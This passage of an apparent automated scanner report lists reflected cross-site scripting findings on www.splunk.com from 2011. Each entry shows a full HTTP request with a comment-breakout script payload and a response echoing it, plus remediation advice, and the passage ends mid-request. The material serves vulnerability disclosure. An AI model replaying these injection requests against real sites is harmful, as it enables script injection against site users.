Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/long-tail/SP-CAAAE7F85de3--><script>alert(1)</script>3571f6545de HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:18:09 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:48:09 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:48:09 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18371

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>3571f6545de -->
...[SNIP]...

4.571. http://www.splunk.com/view/long-tail/SP-CAAAE7F [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/long-tail/SP-CAAAE7F

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 8a1f0--><script>alert(1)</script>5a312b3cb47 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/long-tail/SP-CAAAE7F?8a1f0--><script>alert(1)</script>5a312b3cb47=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:16:13 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 72c321fdf9581667fdac28c406835d9a1296944174
Last-Modified: Sat, 05 Feb 2011 22:16:14 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 40975

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>5a312b3cb47=1 -->
...[SNIP]...

4.572. http://www.splunk.com/view/operational-intelligence/SP-CAAAFVM [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/operational-intelligence/SP-CAAAFVM

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 4319d--><script>alert(1)</script>c64dabdb035 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view4319d--><script>alert(1)</script>c64dabdb035/operational-intelligence/SP-CAAAFVM HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; splunk_com_uid=1; Apache=173.193.214.243.1296947376244858; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; splunk_com_xt_uid=1; PHPSESSID=afumuefdbn5a7tsaitu6o38uq5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:03:16 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 4023dc159e9b83d168f95b1fa75b8ff71297008196
Last-Modified: Sun, 06 Feb 2011 16:03:16 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18431

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>c64dabdb035/operational-intelligence/SP-CAAAFVM -->
...[SNIP]...

4.573. http://www.splunk.com/view/operational-intelligence/SP-CAAAFVM [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/operational-intelligence/SP-CAAAFVM

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload edb7d--><script>alert(1)</script>579a2b57a1d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/operational-intelligenceedb7d--><script>alert(1)</script>579a2b57a1d/SP-CAAAFVM HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; splunk_com_uid=1; Apache=173.193.214.243.1296947376244858; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; splunk_com_xt_uid=1; PHPSESSID=afumuefdbn5a7tsaitu6o38uq5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:03:39 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: e96a24ae34b1bce7f5c6f052169ac2121297008220
Last-Modified: Sun, 06 Feb 2011 16:03:40 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18431

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>579a2b57a1d/SP-CAAAFVM -->
...[SNIP]...

4.574. http://www.splunk.com/view/operational-intelligence/SP-CAAAFVM [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/operational-intelligence/SP-CAAAFVM

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload a74fe--><script>alert(1)</script>40c1e0236d0 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/operational-intelligence/SP-CAAAFVMa74fe--><script>alert(1)</script>40c1e0236d0 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; splunk_com_uid=1; Apache=173.193.214.243.1296947376244858; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; splunk_com_xt_uid=1; PHPSESSID=afumuefdbn5a7tsaitu6o38uq5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:04:04 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 85513a3ad631e0b73124ee10794176841297008245
Last-Modified: Sun, 06 Feb 2011 16:04:05 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18431

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>40c1e0236d0 -->
...[SNIP]...

4.575. http://www.splunk.com/view/operational-intelligence/SP-CAAAFVM [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/operational-intelligence/SP-CAAAFVM

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 8d22f--><script>alert(1)</script>7fb96a5a4c5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/operational-intelligence/SP-CAAAFVM?8d22f--><script>alert(1)</script>7fb96a5a4c5=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; splunk_com_uid=1; Apache=173.193.214.243.1296947376244858; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; splunk_com_xt_uid=1; PHPSESSID=afumuefdbn5a7tsaitu6o38uq5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:02:50 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: d4e17969e3e731fa2654310d806a351b1297008170
Last-Modified: Sun, 06 Feb 2011 16:02:50 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 32287

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>7fb96a5a4c5=1 -->
...[SNIP]...

4.576. http://www.splunk.com/view/partner-directory/SP-CAAABCY [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/partner-directory/SP-CAAABCY

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 7ee0d--><script>alert(1)</script>90cf28c60a4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view7ee0d--><script>alert(1)</script>90cf28c60a4/partner-directory/SP-CAAABCY HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:17:27 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:47:27 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:47:27 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18403

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>90cf28c60a4/partner-directory/SP-CAAABCY -->
...[SNIP]...

4.577. http://www.splunk.com/view/partner-directory/SP-CAAABCY [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/partner-directory/SP-CAAABCY

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload fa6a6--><script>alert(1)</script>bca2a328383 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/partner-directoryfa6a6--><script>alert(1)</script>bca2a328383/SP-CAAABCY HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:18:00 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:48:00 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:48:00 GMT; path=/
ETag: d4a72a1859cc3eec633d6a46b6a389671296944281
Last-Modified: Sat, 05 Feb 2011 22:18:01 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18403

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>bca2a328383/SP-CAAABCY -->
...[SNIP]...

4.578. http://www.splunk.com/view/partner-directory/SP-CAAABCY [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/partner-directory/SP-CAAABCY

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload b6f96--><script>alert(1)</script>eccde78041c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/partner-directory/SP-CAAABCYb6f96--><script>alert(1)</script>eccde78041c HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:18:33 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:48:33 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:48:33 GMT; path=/
ETag: dc0ae186bafdfcac90974860acc726351296944314
Last-Modified: Sat, 05 Feb 2011 22:18:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18403

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>eccde78041c -->
...[SNIP]...

4.579. http://www.splunk.com/view/partner-directory/SP-CAAABCY [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/partner-directory/SP-CAAABCY

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload f9453--><script>alert(1)</script>a09244ca107 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/partner-directory/SP-CAAABCY?f9453--><script>alert(1)</script>a09244ca107=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
